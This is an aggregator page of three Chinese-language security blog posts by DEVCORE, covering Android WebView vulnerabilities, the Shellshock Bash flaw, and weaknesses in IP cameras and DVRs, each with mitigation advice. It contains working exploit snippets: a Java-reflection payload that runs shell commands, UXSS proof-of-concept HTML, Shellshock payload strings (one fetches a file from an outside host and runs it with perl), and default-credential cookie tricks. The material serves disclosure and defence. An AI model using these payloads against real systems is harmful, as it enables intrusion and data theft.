Aggregator

Android WebView 為你的使用者打開了漏洞之門你知道嗎？

DEVCORE 戴夫寇爾
10 years 5 months ago

為了解決在應用程式中顯示網頁的需求，開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上，開發者通常也會把 WebView 處理 JavaScript 的功能打開，好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時，背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞 1. 遠端代碼執行 (Remote Code Execution) 風險：木馬跳板，個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上，該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”，通過預先設定好的介面，讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject { public String toString() { return "Hello World"; } } webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadUrl("http://www.example.com/"); <html> <head>… <script> alert(injectedObject.toString()); // return "Hello World" </script> </head> <body>…</body> </html>

像上面的例子裡，網頁能通過預先設定好的 “injectedObject” 介面，呼叫 “toString” 函式，得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來，攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null) .invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]); </script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制，使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface。

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢？答案是否定的。

在 Android 3.X ~ 4.1 上，WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地，從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外，還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具]，打開 [服務] 子分類中的任何一個項目，系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

2. 繞過同源策略 (Same-Origin Policy bypass) 風險：個資被盜

為防止網頁在載入外部資源時引發安全問題，瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞，通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html> <head> <title>CVE-2014-6041 UXSS DEMO</title> </head> <body> <iframe name="target_frame" src="http://devco.re/"></iframe> <br /> <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)', 'target_frame')" /> </body> </html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方，正常來說點擊按鈕後會因為 SOP 的關係，該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久，再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script> window.onload = function() { object = document.createElement("object"); object.setAttribute("data", "http://www.bing.com"); document.body.appendChild(object); object.onload = function() { object.setAttribute("data", "javascript:alert(document.domain)"); object.innerHTML = "foobar"; } } </script>

上述的跨來源操作同樣違反了 SOP，應當被拒絕執行。但他卻能在有風險的 WebView 上被執行，造成風險。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統
結語

談到這裡大家可能會有個疑問，如果應用程式中所載入的遠端網頁網址都是固定，受開發者控制的，應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎？如果連線過程是採用明文的 HTTP ，或是加密的 HTTPS 但沒落實做好憑證檢查，內容就有機會被攻擊者竊取修改，再結合上面提到的漏洞，對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞，模擬使用者手機被入侵的影片：

從影片的最後可以看到，攻擊者取得存在漏洞的應用程式權限，並取得裡面的機敏資料。

而在繞過同源策略問題上，無論是透過 null byte 或是設定屬性來達到，其實都是屬於存在已久的手法，多年前在別的平台、瀏覽器上就已經發生過，除了編寫上的疏忽外，缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題，使得大多數的使用者手機未能跟得上系統更新的步驟，讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商，應需要在系統支援度與其相應存在的安全風險中取得平衡，來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者，應為已被公開的漏洞做好應對措施，避免使用者暴露在風險當中。

參考

Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中，但無需過度恐慌

DEVCORE 戴夫寇爾
10 years 5 months ago

自 9/24 以來，不少資訊圈朋友日以繼夜的忙碌，這都多虧了藏在 Bash 裡 22 年的安全漏洞－Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言，這是今年來第二波淘金潮，相較於上次 Heartbleed 駭客們的刮刮樂遊戲需要拼運氣，這次的 Shellshock 只要一發現利用點，就能馬上擁有基本的系統操作權限，也難怪 NVD 給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下：

  • Bash 4.3 Patch 25 （含）以前版本
  • Bash 4.2 Patch 48 （含）以前版本
  • Bash 4.1 Patch 12 （含）以前版本
  • Bash 4.0 Patch 39 （含）以前版本
  • Bash 3.2 Patch 52 （含）以前版本
  • Bash 3.1 Patch 18 （含）以前版本
  • Bash 3.0 Patch 17 （含）以前版本
  • Bash 2.0.5b Patch 8 （含）以前版本
  • Bash 1.14.7 （含）以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼，並且順利將這些環境變數傳入 bash，bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重，一來是因為攻擊語法相當簡單，只需要一行指令，就可以直接對系統進行操作；二來是因為 bash 使用範圍極廣，多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下：

作業系統 預設 shell CentOS bash Fedora bash RHEL bash Mac OS X bash Android 早期是 ash, 3.0 開始是 mksh Debian sh (Lenny, 5.0)
dash (Squeeze, 6.0) embedded device 大部分使用 busybox (ash) FreeBSD tcsh Ubuntu dash iOS Jailbreak 後是 bash


我們看到近半數知名的 un*x 系統預設使用 bash，可以推想這次影響範圍有多廣，尤其是許多服務都架構在這之上，若遭受到攻擊，損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統，也並不意味著完全沒有風險，例如 Ubuntu 在 DHCP 客戶端使用到 bash ，就仍然會有風險，下面文章中也會提到這樣的狀況。另外，早期新聞中常出現物聯網設備會受此漏洞影響的報導，經過我們實測，物聯網設備為求精簡，大多使用 busybox，而其 shell 為 ash，故大多數設備在這次 Shellshock 威脅中影響不大，不過儘管物聯網設備逃過了這次 Shellshock 事件，有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後，惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊，一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節，他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74，並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中，若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash，就會受到惡意語法的影響，執行 ping -c 3 209.126.230.74 指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理，惡意攻擊者開始在 HTTP 表頭中置入惡意的語法，大量去掃描網路上的 CGI 網頁，因為這種網頁常呼叫系統指令，所以成功機率都頗高，攻擊成功的結果如下圖，從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

詳細的實作流程請參考下面影片：

我們團隊也在 CGI 環境下執行幾種程式語言進行測試，發現用到以下 function 時會讀取到環境變數（date 只是範例，可代換為其他系統指令），因此若伺服器在 CGI 環境下使用這些 function，會為伺服器本身帶來嚴重風險。

Language Vulnerable Function Perl exec(“date > /dev/null”);
open(SHELLSHOCK, “| date > /dev/null”);
system(“date > /dev/null;”);
print `date > /dev/null` PHP exec(‘date’);
system(‘date’);
mb_send_mail(); Python os.system(‘date’)
subprocess.call(‘date’, shell=True)
subprocess.Popen(‘date’, shell=True) Ruby `date`
exec ‘date’
system ‘date’


建置惡意 DHCP 伺服器感染連線使用者

同時，有另一批人發現某些作業系統在進行 DHCP 連線時，會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是，若建置一個惡意 DHCP 伺服器，對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者，在使用者建立連線的當下放置後門，實驗過程如下影片：


我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響，基本上，常見的 un*x 系統開機後自動連線基本上都會中招。

OS Version Vulnerable CentOS 7.0 YES Debian 7.6 YES Fedora 20 YES Ubuntu 10.04.1 LTS YES Ubuntu 14.04.1 LTS YES Android 4.4.4 NO Apple iOS 7.0.4 NO FreeBSD 10.0 NO Gentoo 20140925 NO (已修復) Linux Mint 17 “Qiana” Cinnamon NO 1 Linux Mint Debian 201403 Cinnamon NO 1 Mac OS X 10.9.5 NO openSUSE 13.2 NO 2 Synology 5.0-4493 update 7 NO (已修復)


繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制，最常見的就是 Git 和 Subversion 伺服器： 通常這些伺服器允許透過 SSH 連線，但登入後都對應著受限制的 shell。透過此漏洞，可以繞過 shell 的限制，執行指令如下圖。（註：OS 中 git user 預設 shell 要為 bash 才會受到影響）

一般我們要實作特定使用者登入 ssh 只能做特定的事情，常常會在 sshd_config 設定 ForceCommand，或是在 authorized_keys 設定 command= 如下：

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響，就是因為這些設定會在使用者透過 ssh 登入時，呼叫 bash 執行，當環境變數被引入，惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方，如同前面所述，找到可以寫入環境變數的地方，並且順利傳入 bash 執行，就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今，陸陸續續傳出了很多公司的產品受到此弱點影響，整理在此，也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如：OpenVPN、Pure-FTPd，而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數，截至目前為止我們仍持續發現網路上有各種掃描樣本，例如：

  • () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
  • () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
  • () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例，我們認為，一些公司購入的網路設備是 Shellshock 潛在高危險群，那些買來就擺在旁邊維運的設備，一來容易被忽略，二來是其更新不易，三來這些設備常使用到 bash，因此仍是現在惡意攻擊者專注研究的目標，請大家特別小心。

結論：無需過度恐慌，但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍！」

不少朋友看到最近 Shellshock 的新聞報導，都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本，但要成功執行攻擊手法需要許多條件，被攻擊者從遠端攻擊的機率偏低，因此大家不需要太過恐慌，只要注意以下設備或伺服器：

  • 特定 Linux 版本，並且使用 DHCP 連線
  • 網路、資安設備
  • 使用 CGI 的網站伺服器
  • 已經公布含有弱點的套件

那我們該怎麼自保呢？在攻擊手法不斷精進之下，只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本，並持續關注後續更新訊息（目前持續有繞過檢查的新 CVE 弱點發佈），使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍，也記得向原廠索取更新程式。

題外話

有人說：「Linux 在 2014 年接連出包，真是一個不安全的作業系統！反觀 Windows 在這幾次都毫無影響，企業應該要全面改用 Microsoft Solution！」，但這真的是正確的想法嗎？其實一個 OpenSource 的系統、軟體，可以藉由社群的力量檢視原始碼的問題，集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞，對於一個系統來說是好事。而非 OpenSource 的系統，就只能仰賴原廠自己的資安團隊進行研究，或者是外部資安人員的發掘了。選擇作業系統的原則，最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面，才能夠選用真正符合自己需要的系統。

註解

  1. 若手動執行 dhclient，則會遭到漏洞影響。 ↩ ↩2

  2. 系統環境變數會受到影響，但無法被攻擊者利用。 ↩

網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎？

DEVCORE 戴夫寇爾
10 years 5 months ago

網路攝影機的普及率在近幾年來持續攀升，除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外，結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時，已經有許多攻擊者悄悄地將目標轉向了各種物連網設備，例如 NAS、Wireless AP、Printer 等產品，而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品，卻造成一項資安的隱憂，是不是有點諷刺呢？

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵 隱私全被看光光」這樣子的案例，而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」，讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧！

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點：

  • AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
  • AXIS: 2, CVE-2013-3543, CVE-2011-5261
  • Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
  • SONY: 1, CVE-2013-3539
  • Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料，會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞，其影響程度非常高，已不只是關於攝影內容是否被竊取，更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞，但是每個國家使用的安控設備不見得都是上述幾個牌子，而身為資安業者，隨時關注自己國家的網路現況也是很合理的事情～在我們的大量觀測下，發現有許多 IP Camera、DVR (Digital Video Recoder)、NVR (Network Video Recoder) 都存在資安議題，我們從其中提出幾個有趣的案例跟各位分享一下：

  • 某國外 V 牌廠商 （數量：320+）

    一般的產品通常都會有預設帳號密碼，但這間廠商的產品似乎沒有預設帳號密碼，若使用者未設定帳號密碼，攻擊者只要直接點「OK」按鈕就可以登入系統，而這樣子的 DVR 在台灣有三百多台，也就是有三百多台 DVR 在網路上裸奔…

  • 某國外 H 牌廠商 （數量：1200+）

    有些廠商為了方便維修或者其他理由，會在 NVR 上開啟了 Telnet 服務，雖然增加了被攻擊的機率，但是若密碼強度足夠且沒有外流，也不會隨便被打進去。而這間廠商非常有趣，除了 root 帳號之外還有一組 guest 帳號，並且 guest 的密碼非常簡單，加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤，導致攻擊者可先用 guest 帳號登入，再去 /etc/shadow 讀取 root 密碼加以破解，進一步取得設備所有權限。

  • 某國外 D 牌廠商 （數量：700+）

    這個案例實在是令人哭笑不得，不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號，包含 admin、666666、888888 等等，而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難，更何況是要使用者改三組密碼呢？這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜，大大提高了用戶的受害機率。而更有趣的是，不知道是基於歷史包袱或者其他原因，此設備開了特殊的 port，直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令，例如可以取得帳號密碼、使用者 email 等等，而在這個過程中完全沒有任何認證機制！等於又有七百多台 NVR 在網路上裸奔…

  • 某國內 A 牌廠商 （數量：1000+）

    這間廠商也是使用常見的預設帳號密碼，但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容，因此若預設帳號密碼分別是 abc 與 123，將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==，接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中，就可以到處測試該設備是否使用預設帳號密碼，甚至還可以進一步下載備份檔，察看使用者有無填寫 email、網路帳號密碼等資料。

  • 某國內 A 牌廠商（數量：10+）

    這個案例雖然數量非常少，但是卻非常嚴重。為什麼呢？因為廠商沒有對機敏資料做嚴格的權限控管，只要攻擊者直接在網址列輸入 http://IP/sys.bin，就可以直接下載一個名為 sys.bin 的檔案，而此檔案是 tgz 格式，解壓縮後可以得到 system_server.conf，該檔案中含有帳號、密碼，因此即便使用者修改了預設帳號密碼，也會因為這個嚴重漏洞而輕易地被入侵。

  • XXXX科技 （數量：230+）

    這是一個非常經典的案例！一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面，再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司，理當為客戶的監控畫面做最周全的規劃、最謹慎的防護，但是結果呢？報告各位，完全沒有任何防護！只要連到 IP 位址就可以直接看到攝影機畫面，也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中，而由於我們無暇對每一款設備進行調查，因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的，若再加上各個公家機關、辦公大樓、社區的內網安控設備，恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢？其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代，不了解駭客到底都怎麼攻擊，因此也不了解確切的防治方法。舉例來說，廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則，以防範入侵者輸入惡意攻擊指令，但是這些防治手段都僅僅做在 client 端（用 JavaScript 來防護），入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證，若廠商沒有在 server 端再次進行驗證輸入資料是否異常，就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化，難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一，我想廠商應該不會有意願針對舊產品修復此類漏洞，也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例，我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中，於弱點被揭露時若無法及時有效修補，或是修補的成本太高導致用戶不願意修補、沒有能力修補，就有可能釀成重大災情，不但造成用戶損失，也嚴重影響商譽。

廠商該如何因應？

針對此類資安問題，大型硬體廠商應該落實以下幾個動作：

  • 改善資安問題更新流程：將產品的資安更新改變成主動通知使用者，而非需要使用者主動到官網看才知道更新，以縮短使用者更新的平均週期，確保使用者的軟體是最新無風險版本。
  • 成立專門資安小組：請專人負責檢驗產品的資安品質與修正資安弱點，以便因應臨時爆發的重大弱點，維持產品的資安品質。
  • 黑箱滲透測試：於產品出廠前執行黑箱滲透測試，讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
  • 白箱原始碼檢測：定期執行原始碼檢測，從產品的根本處著手改善，降低產品上市後才被發現弱點的機率。
  • 資安教育訓練：請有實際攻防經驗的資安專家給予開發人員正確的資安觀念，了解最新的攻擊手法與有效防禦之道。
  • 定期檢閱產品所使用的第三方軟體套件是否有弱點，例如 OpenSSL，以避免把有問題的版本納入產品，造成產品間接產生弱點，因而遭到入侵。
  • 定時於網路上收集產品的相關弱點資料，例如 Secunia、SecurityFocus、Packet Storm 等網站都是很好的資訊來源。
一般使用者、企業該如何亡羊補牢？

目前的網路安控系統使用者仍未有足夠的資安意識，主要現象有以下幾點：

  • 使用弱密碼
  • 未進行適當的權限劃分與管理
  • 容易開啓攻擊者寄送的惡意連結，導致被 XSS、CSRF 等手法攻擊
  • 未限制連入 IP 位址，導致安控系統可從外網任意存取

然而，無論是安控系統或其他任何連網設備，未來都有可能成為潛在的攻擊目標，而且在廠商提供更新檔之前其實也很難確實地自保，因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下：

  • 使用強密碼，包含大小寫英文、數字、特殊符號，並且定期更換密碼
  • 勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除，以降低帳號被盜的機率。若需要建立多組帳號，請仔細給予適當的權限
  • 勿隨意開啟可疑信件附帶的連結或檔案，以避免被攻擊者以 XSS、CSRF 等手法攻擊
  • 限制可存取資訊系統的 IP 位址，避免資訊系統成為公開的攻擊目標
  • 定期檢查 log，確認有無異常登入、異常操作甚至是異常帳號等資訊
結論

在物連網的時代中，各種可進行無線通訊的設備被攻擊的事件屢見不鮮，例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器，2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器，甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來，這些資安問題只會更多，身為民眾、企業、廠商的你，準備好面對萬物皆可駭的物連網時代了嗎？

Managed ad